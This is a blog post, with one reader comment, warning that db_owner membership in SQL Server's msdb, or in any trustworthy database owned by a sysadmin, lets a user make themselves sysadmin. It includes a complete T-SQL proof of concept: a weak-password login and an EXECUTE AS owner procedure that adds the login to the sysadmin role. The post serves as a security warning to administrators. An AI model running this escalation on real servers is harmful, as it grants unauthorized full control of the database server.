db_owner in msdb == sysadmin

1

May 6, 2019 by Kenneth Fisher

This doesn’t require much in the way discussion. This isn’t exactly a huge issue since I don’t think granting db_owner in msdb happens a whole lot, but still. Consider yourself warned.

I should add, this will work on any database that has trustworthy turned on and the dbo is a sysadmin. Oh, and my understanding is that msdb needs both an owner that is sysadmin (sa) and be trustworthy.

CREATE LOGIN ImpersonationTest WITH PASSWORD ='test', CHECK_POLICY = OFF;
GO
USE msdb
GO
CREATE USER ImpersonationTest FROM LOGIN ImpersonationTest;
GO
ALTER ROLE db_owner ADD MEMBER ImpersonationTest;
GO

Connect as ImpersonationTest

USE msdb
GO
CREATE PROCEDURE dbo.sysadminMe 
WITH EXECUTE AS owner
AS
ALTER SERVER ROLE sysadmin ADD MEMBER ImpersonationTest;
GO
EXEC dbo.sysadminMe;
GO
SELECT * FROM sys.login_token;

One thought on “db_owner in msdb == sysadmin

  1. Nico says:

    I guess one addition to the best practices check programs out there…check for db_owner on msdb – don’t be too surprised to find this one out there in the wild…who would know about the Agent-Operator-roles in any case…? 😉

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Enter your email address to follow this blog and receive notifications of new posts by email.

Join 2,503 other followers

Follow me on Twitter

ToadWorld Pro of the Month November 2013
%d bloggers like this: